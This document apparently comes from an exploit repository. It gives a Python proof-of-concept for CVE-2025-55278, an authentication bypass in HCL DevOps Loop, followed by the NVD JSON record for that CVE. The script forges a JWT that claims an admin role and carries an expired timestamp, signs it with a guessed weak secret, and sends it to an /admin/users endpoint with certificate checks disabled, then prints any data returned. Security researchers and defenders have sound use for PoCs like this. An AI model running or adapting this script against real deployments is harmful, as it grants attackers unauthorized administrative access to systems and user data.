CVE-2025-55278

import jwt import requests import json from datetime import datetime, timedelta # CVE-2025-55278 PoC - HCL DevOps Loop Authentication Bypass # This PoC demonstrates exploitation of improper token validation TARGET_URL = "https://target-hcl-devops-loop.example.com/api/v2" def create_tampered_token(): """ Generate a tampered JWT token with expired timestamp and modified claims """ # Original token structure (obtained through other means) header = { "alg": "HS256", "typ": "JWT" } # Tampered payload with expired timestamp payload = { "sub": "attacker", "role": "admin", "exp": int((datetime.utcnow() - timedelta(days=365)).timestamp()), # Expired "iat": int((datetime.utcnow() - timedelta(days=365)).timestamp()), "iss": "HCL-DevOps-Loop" } # Sign with a weak or known key (if key is misconfigured) secret_key = "weak-secret-key" token = jwt.encode(payload, secret_key, algorithm="HS256") return token def exploit(): """ Exploit the authentication bypass vulnerability """ tampered_token = create_tampered_token() headers = { "Authorization": f"Bearer {tampered_token}", "Content-Type": "application/json" } # Attempt to access privileged endpoint with tampered token target_endpoint = f"{TARGET_URL}/admin/users" try: response = requests.get(target_endpoint, headers=headers, verify=False, timeout=10) if response.status_code == 200: print("[+] VULNERABLE: Tampered token accepted!") print(f"[+] Response: {response.text}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": print("CVE-2025-55278 - HCL DevOps Loop Authentication Bypass PoC") print("=" * 60) exploit()

{"cve": {"id": "CVE-2025-55278", "sourceIdentifier": "[email protected]", "published": "2025-11-05T23:16:05.147", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper authentication in the API authentication middleware of HCL DevOps Loop allows authentication tokens to be accepted without proper validation of their expiration and cryptographic signature. As a result, an attacker could potentially use expired or tampered tokens to gain unauthorized access to sensitive resources and perform actions with elevated privileges."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-347"}, {"lang": "en", "value": "CWE-613"}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0124203", "source": "[email protected]"}]}}